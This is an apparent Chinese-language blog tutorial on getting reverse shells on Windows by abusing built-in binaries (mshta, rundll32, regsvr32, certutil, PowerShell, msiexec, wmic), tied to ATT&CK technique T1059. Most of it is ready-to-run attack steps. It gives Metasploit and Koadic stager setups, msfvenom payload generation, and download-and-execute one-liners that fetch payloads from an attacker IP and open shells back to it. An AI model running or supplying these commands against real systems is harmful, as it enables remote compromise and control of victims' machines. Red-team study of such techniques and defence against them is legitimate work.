windows反弹shell小结

  • A+

前言

本文是att&ck Command-Line Interface的展开篇

平时遇到rce的漏洞,我们通常会弹一个shell给自己,(提权,内网渗透,搭建跳板,等等)linux反弹shell得益于命令行特别友好,所以我们可以非常简单地就可以把shell弹出来,比如使用bash,perl,python,nc,获得shell的原理其实就是建立了一个socket通道,那么今天我们来看看windows如何反弹shell

目录

  • Mshta.exe
    通过Metasploit的HTAWeb服务器发起HTA攻击
  • rundll32.exe
    通过SMB交付Metasploit发起Rundll32攻击
  • Regsvr32.exe
    通过Metasploit的脚本Web交付启动Regsvr32
  • Certutil.exe
    通过MsfvenomC#shellcode启动MSbuild攻击
  • Powershell.exe
    通过Powershell发起Powercat攻击
    通过Powershell启动cscript.exe
    通过Powershell发起批处理文件攻击
  • Msiexec.exe
    通过msfvenom发动msiexec攻击
  • Wmic.exe
    通过Koadic发起Wmic.exe攻击

Mshta.exe

Mshta.exe运行MicrosoftHTML应用程序主机,这是WindowsOS实用程序,负责运行HTA(HTML应用程序)文件。我们可以用来运行JavaScript或VBScript的HTML文件。您可以使用MicrosoftMSHTA.exe工具解释这些文件。

Metasploit包含“HTAWeb服务器”模块,该模块会生成恶意的hta文件。该模块托管一个HTML应用程序(HTA),该应用程序在打开时将通过Powershell运行有效负载。当用户导航到HTA文件时,将在执行有效负载之前由IE两次提示它们。

use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > set lhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit

现在,通过受害者计算机上的mshta.exe(容易受到RCE攻击)运行恶意代码,以获取Meterpreter会话。

1.jpg

rundll32.exe

Rundll32.exe与Windows操作系统相关联,可让您调用从DLL(16位或32位)导出的函数并将其存储在适当的内存库中。

通过SMB交付Metasploit发起Rundll32攻击

Metasploit还包含“SMBDelivery”模块,该模块生成恶意的dll文件。该模块通过SMB服务器提供有效负载,并提供检索和执行生成的有效负载的命令。当前支持DLL和Powershell。

use exploit/windows/smb/smb_delivery
msf exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.109
msf exploit(windows/smb/smb_delivery) > exploit
现在,通过受害机器(对RCE易受攻击)上的rundll32.exe运行恶意代码,以获取Meterpreter会话。

2.jpg

经过测试只能支持smb1协议机器才行

Regsvr32.exe

Regsvr32是一个命令行实用程序,用于注册和注销OLE控件,例如Windows注册表中的DLL和ActiveX控件。WindowsXP和更高版本的Windows的%systemroot%System32文件夹中安装了Regsvr32.exe。

RegSvr32.exe具有以下命令行选项:

语法:Regsvr32/s/n]

/ u –注销服务器

/ i –调用DllInstall,并为其传递可选的[cmdline];与/u一起使用时,它将调用dll来卸载

/ n –不要调用DllRegisterServer;此选项必须与/i

/ s一起使用-静默;不显示消息框

通过Metasploit的脚本Web交付启动Regsvr32

此模块可快速启动提供有效负载的Web服务器。提供的命令将允许有效负载下载并执行。它将通过regsvr32.exe来指定脚本语言解释器或“squibledoo”来绕过应用程序白名单。该模块的主要目的是在攻击者必须手动键入命令时在目标计算机上快速建立会话:例如,命令注入。

Regsvr32使用“squablydoo”技术绕过应用程序白名单。签名的Microsoft二进制文件Regsvr32可以请求一个.sct文件,然后在其中执行包含的PowerShell命令。这两个Web请求(即.sct文件和PowerShell下载/执行)都可以在同一端口上发生。“PSH(二进制)”将文件写入磁盘,从而允许自定义二进制文件被提供以下载/执行。

use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 3
msf exploit (web_delivery)> set payload windows/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.1.109
msf exploit (web_delivery)>set srvhost 192.168.1.109
msf exploit (web_delivery)>exploit

3.jpg

一旦在regsrv32.exe的帮助下在远程计算机上执行scrobj.dll文件,您将在本地计算机(KaliLinux)上获得反向连接。

Certutil.exe

Certutil.exe是作为证书服务的一部分安装的命令行程序。我们可以使用此工具在目标计算机上执行恶意exe文件,以获取抄表程序会话。

通过Msfvenom发起certutil攻击

使用msfvenom生成一个恶意可执行文件(.exe),然后启动multi/ handler以获取受害者计算机的反向外壳。

msfvenom-p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -fexe > shell.exe

certutil.exe -urlcache -split -f http://192.168.1.109/shell.exe
shell.exe & shell.exe
解释Certutil.exe可以下载文件

Powershell.exe

您可以使用PowerShell.exe从另一个工具(例如Cmd.exe)的命令行启动PowerShell会话,也可以在PowerShell命令行中使用它来启动新会话。从此处阅读MicrosoftWindows官方网站上的更多信息。

通过Powershell发起Powercat攻击

Powercat是PowerShell的本机后门侦听器和反向外壳,也称为netcat的修改版本,因为它集成了对生成的编码有效负载的支持,msfvenom可以做到这一点,并且还具有客户端到客户端的中继,这是Powercat客户端的术语,允许连接两个单独的侦听器。

在本地计算机上下载PowerShell,然后使用pythonHTTP服务器将powercat.ps1传输文件,以获得目标的反向外壳,如下所示,并启动netcat侦听器。

git clone https://github.com/besimorhino/powercat.git
python -m SimpleHTTPServer 80
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.73.1:8080/powercat.ps1');powercat -c 192.168.73.1 -p 1234 -e cmd"

4.jpg

5.jpg

批处理文件

同样,PowerShell允许客户端执行bat文件,因此让我们使用下面给出的msfvenom生成恶意批处理文件,然后启动netcat侦听器。

msfvenom -p cmd/windows/reverse_powershell lhost=192.168.1.109 lport=4444 > 1.bat
然后在远程端执行以下命令以获取netcat会话。

powershell -c "IEX((New-Object System.Net.WebClient).DownloadString('http://192.168.1.109/1.bat'))"

7.jpg

8.jpg

Cscript

同样,PowerShell允许客户端执行cscript.exe来运行wsf,js和vbscript,因此让我们使用下面给出的msfvenom生成恶意的bat文件,并以multi/ handler作为侦听器。

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f vbs > 1.vbs
然后在远端执行以下命令以获取一个抄表器会话。

powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://192.168.1.109/1.vbs',"$env:temptest.vbs");Start-Process %windir%system32cscript.exe "$env:temptest.vbs""

11.jpg

Msiexec.exe

众所周知,Windows操作系统随附WindowsInstaller引擎,MSI软件包将其用于安装应用程序。解释软件包并安装产品的可执行程序是Msiexec.exe。

通过msfvenom发动msiexec攻击

让我们使用WindowsMeterpreter有效负载生成MSI包文件(1.msi),如下所示,并启动multi/ handler作为侦听器。

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f msi > 1.msi
开启一个web服务

一旦在msiexec的帮助下在远程计算机上执行1.msi文件,您将在本地计算机(KaliLinux)上获得反向连接。

msiexec /q /i http://192.168.1.109/1.msi

111.jpg

Wmic.exe

WMIC实用程序是一种Microsoft工具,提供了WMI命令行界面,该界面用于本地和远程计算机的各种管理功能,还用于Wmic查询,例如系统设置,停止进程并在本地或远程执行脚本。因此,它可以调用XSL脚本(可扩展样式表语言)。

通过Koadic发起Wmic.exe攻击

现在将在koadic的帮助下生成一个恶意XSL文件,koadic是一个与Metasploit和PowershellEmpire非常相似的命令和控制工具。

要了解koadic的工作原理,请从此处阅读我们的文章:https: //www.hackingarticles.in/koadic-com-command-control-framework/

git clone https://github.com/zerosum0x0/koadic.git
安装完成后,您可以运行./koadic文件来启动koadic,并通过运行以下命令并设置SRVHOST来启动staged/ js / wmic stager,并设置stager应该将其作为主目录。

use stager/js/wmic
set SRVHOST 192.168.1.107
run

1111.jpg

执行以下WMIC命令以从远程服务器下载并运行恶意XSL文件:

wmicos get /FORMAT:"http://192.168.1.107:9996/g8gkv.xsl"

一旦恶意XSL文件将在目标计算机上执行,您将拥有与Metasploit一样的Zombie连接。

2121.jpg

写在最后

本篇文章也是att&ck矩阵中小知识点的扩展

参考链接

https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/
https://attack.mitre.org/techniques/T1059/

相关推荐: 牛红红的日记(平平无奇拿下域控)

牛红红的日记(平平无奇拿下域控) 一、引文 x年x月x日 晴 我是一只牛,家里的老大,我叫牛红红,我还有六个兄弟,分别是橙黄绿青蓝紫。后来我知道这名字是一个头上带着葫芦的算命的老头起的,长大后我问他为什么要起这个名字,老头说当年他爷爷被妖精抓走,于是他便怒气冲…